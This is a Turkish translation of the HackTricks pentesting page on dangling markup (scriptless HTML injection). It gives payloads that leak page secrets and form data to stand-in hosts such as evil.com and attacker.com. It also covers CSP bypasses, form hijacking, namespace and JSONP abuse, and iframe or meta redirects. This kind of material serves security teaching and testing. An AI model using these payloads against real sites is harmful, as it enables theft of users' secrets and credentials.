hacktricks/pentesting-web/dangling-markup-html-scriptless-injection
2024-02-10 18:14:16 +00:00
..
README.md Translated to Turkish 2024-02-10 18:14:16 +00:00
ss-leaks.md Translated to Turkish 2024-02-10 18:14:16 +00:00

Dangling Markup - HTML scriptless injection

AWS hackleme becerilerinizi sıfırdan ileri seviyeye taşıyın htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'ı desteklemenin diğer yolları:

Özet

Bu teknik, bir HTML enjeksiyonu bulunduğunda bir kullanıcıdan bilgi çıkarmak için kullanılabilir. Bu, bir XSS bulamazsanız ancak bazı HTML etiketlerini enjekte edebilirsiniz durumunda çok kullanışlıdır.
Ayrıca, bazı gizli bilgilerin açık metin olarak HTML'de saklandığı durumlarda, bunları müşteriden çalmak veya bazı betik yürütmesini yanıltmak istiyorsanız da kullanışlıdır.

Burada yorumlanan birkaç teknik, beklenmeyen yollarla bilgi çalmak için bazı İçerik Güvenlik Politikası atlatmak için kullanılabilir (html etiketleri, CSS, http-meta etiketleri, formlar, base...).

Ana Uygulamalar

ık metin sırlarını çalmak

Eğer <img src='http://evil.com/log.cgi? enjekte ederseniz, sayfa yüklendiğinde kurban, enjekte edilen img etiketi ve kod içindeki sonraki tırnak işareti arasındaki tüm kodu size gönderecektir. Eğer bir sır bu parçada bulunuyorsa, onu çalacaksınız (aynı şeyi çift tırnak kullanarak da yapabilirsiniz, hangisinin daha ilginç olabileceğine bakın).

Eğer img etiketi yasaklanmışsa (örneğin CSP nedeniyle), aynı şeyi <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi? kullanarak da yapabilirsiniz.

<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=

Not: Chrome, "<" veya "\n" içeren HTTP URL'leri engeller, bu yüzden "ftp" gibi diğer protokol şemalarını deneyebilirsiniz.

CSS @import'u da istismar edebilirsiniz (";" bulana kadar tüm kodu gönderecektir).

<style>@import//hackvertor.co.uk?     <--- Injected
<b>steal me!</b>;

Ayrıca <table kullanabilirsiniz:

<table background='//your-collaborator-id.burpcollaborator.net?'

Ayrıca bir <base etiketi de ekleyebilirsiniz. Tüm bilgiler tırnak kapatılana kadar gönderilecektir, ancak bazı kullanıcı etkileşimi gerektirir (kullanıcı bir bağlantıya tıklamalıdır, çünkü base etiketi bağlantının işaret ettiği alanı değiştirmiştir):

<base target='        <--- Injected
steal me'<b>test</b>

Formları Çalma

Bir web uygulamasında, kullanıcıların doldurduğu formlardan bilgi çalmak, önemli bir saldırı vektörü olabilir. Bu saldırı tekniği, kullanıcıların girdiği verileri ele geçirmek için kullanılır. Bu veriler, kullanıcı adları, şifreler, kişisel bilgiler veya diğer hassas bilgiler olabilir.

Bu saldırıyı gerçekleştirmek için, saldırganlar web uygulamasının kaynak kodunu inceleyerek, form verilerini hedeflemek için uygun bir hedef belirlerler. Ardından, saldırganlar, form verilerini ele geçirmek için çeşitli yöntemler kullanabilirler. Örneğin, saldırganlar, form verilerini sunucuya göndermeden önce JavaScript kodunu manipüle edebilirler veya form verilerini başka bir sunucuya yönlendirebilirler.

Bu saldırıyı önlemek için, web uygulamalarının güvenliğini sağlamak için çeşitli önlemler alınmalıdır. Öncelikle, web uygulamaları güvenli bir şekilde kodlanmalı ve güncel güvenlik yamalarıyla korunmalıdır. Ayrıca, kullanıcı girdileri doğrulanmalı ve filtrelenmelidir. Ek olarak, form verileri sunucuya güvenli bir şekilde iletilmeli ve kullanıcılar bilgilendirilmelidir.

<base href='http://evil.com/'>

Sonra, veri gönderen yolların (örneğin <form action='update_profile.php'>) veriyi kötü niyetli alan adına gönderecektir.

Formları Çalma 2

Form başlığını şu şekilde ayarlayın: <form action='http://evil.com/log_steal'> bu, bir sonraki form başlığını üzerine yazacak ve formdaki tüm veriler saldırgana gönderilecektir.

Formları Çalma 3

Düğme, "formaction" özniteliğiyle formun bilgilerinin gönderileceği URL'yi değiştirebilir:

<button name=xss type=submit formaction='https://google.com'>I get consumed!

Bir saldırgan, bu yöntemi kullanarak bilgileri çalabilir.

ık metin sırlarını çalmak 2

Bahsedilen en son teknik olan formları çalmak için (yeni bir form başlığı enjekte etmek) kullanarak, yeni bir giriş alanı enjekte edebilirsiniz:

<input type='hidden' name='review_body' value="

ve bu giriş alanı, HTML'deki çift tırnak arasındaki tüm içeriği içerecektir. Bu saldırı "ık metin sırlarını çalma" ile "Formları çalma2"yi birleştirir.

Aynı şeyi bir form ve bir <option> etiketi enjekte ederek yapabilirsiniz. Kapalı bir </option> bulunana kadar olan tüm veriler gönderilecektir:

<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option

Form parametre enjeksiyonu

Bir formun yolunu değiştirebilir ve yeni değerler ekleyebilirsiniz, böylece beklenmeyen bir eylem gerçekleştirilebilir:

<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'>                                        ← Injected lines

<form action="/change_settings.php">                        ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value="">             ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>

ık metin sırlarını noscript aracılığıyla çalmak

<noscript></noscript>, tarayıcı javascript'i desteklemiyorsa (Chrome'da javascript'i chrome://settings/content/javascript adresinde etkinleştirebilir/devre dışı bırakabilirsiniz) içeriği yorumlanacak bir etikettir.

Enjeksiyon noktasından aşağıya kadar olan web sayfasının içeriğini saldırganın kontrol ettiği bir siteye çalmak için şunu enjekte etmek bir yol olacaktır:

<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>

Kullanıcı etkileşimiyle CSP'nin atlatılması

Bu portswiggers araştırmasından öğrenebileceğiniz gibi, en CSP kısıtlı ortamlardan bile bazı kullanıcı etkileşimiyle veri sızdırabilirsiniz. Bu durumda kullanacağımız payload:

<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='

Not: Kurbanın, sizi kontrol ettiğiniz bir payload'a yönlendirecek bir bağlantıya tıklamasını isteyeceksiniz. Ayrıca, base etiketinin içindeki target özniteliği, bir sonraki tek tırnak işaretine kadar olan HTML içeriğini içerecektir.
Bu, bağlantıya tıklandığında window.name'in HTML içeriği olacağı anlamına gelir. Bu nedenle, bağlantıya tıklayarak eriştiği sayfayı kontrol ettiğiniz için, o window.name'e erişebilir ve verileri sızdırabilirsiniz:

<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>

Yanıltıcı betik iş akışı 1 - HTML ad alanı saldırısı

HTML içine, bir sonraki etiketi üzerine yazacak ve bir betiğin akışını etkileyecek bir değerle birlikte yeni bir etiket ekleyin. Bu örnekte, bir bilginin kimlerle paylaşılacağını seçiyorsunuz:

<script>
    var shareWith = document.getElementById('shareWith').value;
    if (shareWith === 'public') {
        // Share information with public
    } else if (shareWith === 'friends') {
        // Share information with friends
    } else if (shareWith === 'private') {
        // Share information privately
    } else {
        // Invalid option
    }
</script>

<!-- Misleading tag -->
<namespace:tag id="shareWith" value="public" />

Bu saldırı, bir sonraki etiketin üzerine yazarak, betiğin akışını etkileyerek yanıltıcı bir iş akışı oluşturur. Bu durumda, shareWith adlı bir etiket oluşturulur ve value özelliği "public" olarak ayarlanır. Bu nedenle, betik, shareWith etiketinin değerine göre bilgiyi paylaşır.

<input type='hidden' id='share_with' value='fredmbogo'>     ← Injected markup
...
Share this status update with:                              ← Legitimate optional element of a dialog
<input id='share_with' value=''>

...

function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}

Yanıltıcı betik akışı 2 - Betik ad alanı saldırısı

HTML etiketleri ekleyerek javascript ad alanı içinde değişkenler oluşturun. Ardından, bu değişken uygulamanın akışını etkileyecektir:

<img id='is_public'>                                        ← Injected markup

...

// Legitimate application code follows

function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC)                    ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}

function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC;           ← Condition always evaluates to true
...
}

JSONP'nin Kötüye Kullanımı

Eğer bir JSONP arayüzü bulursanız, istediğiniz verilerle istediğiniz fonksiyonu çağırabilirsiniz:

<script src='/editor/sharing.js'>:              ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}

<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
set_sharing({ ... })

Ya da bazı JavaScript kodlarını çalıştırmayı deneyebilirsiniz:

<script src='/search?q=a&call=alert(1)'></script>

Iframe kötüye kullanımı

Bir alt belge, ebeveyninin location özelliğini, kökenler arası durumlarda bile görüntüleme ve değiştirme yeteneğine sahiptir. Bu, bir iframe içine yerleştirilen bir betiğin istemciyi isteğe bağlı bir sayfaya yönlendirebilmesine olanak tanır:

<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>

Bu, sandbox=' allow-scripts allow-top-navigation' gibi bir şeyle hafifletilebilir.

Bir iframe, iframe adı özniteliğini kullanarak farklı bir sayfadan hassas bilgilerin sızdırılmasında da istismar edilebilir. Bunun nedeni, hassas bilginin iframe adı özniteliği içinde görünmesini sağlayan HTML enjeksiyonunu istismar eden bir iframe oluşturabilmeniz ve ardından bu adı başlangıç iframe'inden erişerek sızdırabilmenizdir.

<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>

<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>

Daha fazla bilgi için https://portswigger.net/research/bypassing-csp-with-dangling-iframes adresini kontrol edin.

<meta kötüye kullanımı

meta http-equiv kullanarak birçok işlem yapabilirsiniz, örneğin bir Çerez ayarlamak: <meta http-equiv="Set-Cookie" Content="SESSID=1"> veya bir yönlendirme gerçekleştirmek (bu durumda 5 saniye sonra): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />

Bu, http-equiv ile ilgili bir CSP ile önlenebilir (Content-Security-Policy: default-src 'self'; veya Content-Security-Policy: http-equiv 'self';)

Yeni <portal HTML etiketi

<portal etiketinin sömürülebilir zayıflıkları hakkında çok ilginç bir araştırma burada bulunabilir.
Bu yazının yazıldığı sırada, Chrome'da chrome://flags/#enable-portals adresinde portal etiketini etkinleştirmeniz gerekmektedir, aksi takdirde çalışmayacaktır.

<portal src='https://attacker-server?

HTML Sızıntıları

HTML'de bağlantıyı sızdırmak için kullanılabilecek tüm yöntemler Dangling Markup için her zaman işe yaramayabilir, ancak bazen yardımcı olabilir. İşte kontrol edebileceğiniz yer: https://github.com/cure53/HTTPLeaks/blob/master/leak.html

SS-Sızıntıları

Bu, dangling markup ve XS-Sızıntıları arasında bir karışım. Bir taraftan, zafiyet, HTML enjekte etmeye (ancak JS değil) izin verir ve saldıracağımız sayfanın aynı kökenli olduğu bir sayfaya enjekte edebiliriz. Öte yandan, HTML enjekte edebileceğimiz sayfayı doğrudan saldırmayız, başka bir sayfayı hedef alırız.

{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}

XS-Arama/XS-Sızıntıları

XS-Arama, yan kanal saldırılarını kullanarak çapraz kökenli bilgileri sızdırmak için kullanılır. Bu nedenle, Dangling Markup'tan farklı bir tekniktir, ancak bazı teknikler, CSS Enjeksiyonu veya Gecikmeli Yükleme Resimleri gibi HTML etiketlerinin (JS yürütme ile veya olmadan) kullanılmasını istismar eder.

{% content-ref url="../xs-search.md" %} xs-search.md {% endcontent-ref %}

Brute-Force Algılama Listesi

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}

Referanslar

AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin!

HackTricks'i desteklemenin diğer yolları: